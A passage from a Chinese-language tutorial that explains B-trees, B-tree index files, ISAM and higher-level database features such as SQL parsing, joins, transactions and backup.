B树是对二叉查找树的改进。它的设计思想是,将相关数据尽量集中在一起,以便一次读取多个数据,减少硬盘操作次数。

B-tree

B树的特点也有三个。

(1)一个节点可以容纳多个值。比如上图中,最多的一个节点容纳了4个值。

(2)除非数据已经填满,否则不会增加新的层。也就是说,B树追求"层"越少越好。

(3)子节点中的值,与父节点中的值,有严格的大小对应关系。一般来说,如果父节点有a个值,那么就有a+1个子节点。比如上图中,父节点有两个值(7和16),就对应三个子节点,第一个子节点都是小于7的值,最后一个子节点都是大于16的值,中间的子节点就是7和16之间的值。

这种数据结构,非常有利于减少读取硬盘的次数。假定一个节点可以容纳100个值,那么3层的B树可以容纳100万个数据,如果换成二叉查找树,则需要20层!假定操作系统一次读取一个节点,并且根节点保留在内存中,那么B树在100万个数据中查找目标值,只需要读取两次硬盘。

三、索引

数据库以B树格式储存,只解决了按照"主键"查找数据的问题。如果想查找其他字段,就需要建立索引(index)。

所谓索引,就是以某个字段为关键字的B树文件。假定有一张"雇员表",包含了员工号(主键)和姓名两个字段。可以对姓名建立索引文件,该文件以B树格式对姓名进行储存,每个姓名后面是其在数据库中的位置(即第几条记录)。查找姓名的时候,先从索引中找到对应第几条记录,然后再从表格中读取。

这种索引查找方法,叫做 "索引顺序存取方法"(Indexed Sequential Access Method),缩写为ISAM。它已经有多种实现(比如C-ISAM库和D-ISAM库),只要使用这些代码库,就能自己写一个最简单的数据库。

四、高级功能

部署了最基本的数据存取(包括索引)以后,还可以实现一些高级功能。

(1)SQL语言是数据库通用操作语言,所以需要一个SQL解析器,将SQL命令解析为对应的ISAM操作。

(2)数据库连接(join)是指数据库的两张表通过"外键",建立连接关系。你需要对这种操作进行优化。

(3)数据库事务(transaction)是指批量进行一系列数据库操作,只要有一步不成功,整个操作都不成功。所以需要有一个"操作日志",以便失败时对操作进行回滚。

(4)备份机制:保存数据库的副本。

(5)远程操作:使得用户可以在不同的机器上,通过TCP/IP协议操作数据库。

(完)

文档信息

Viewing all 15843 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>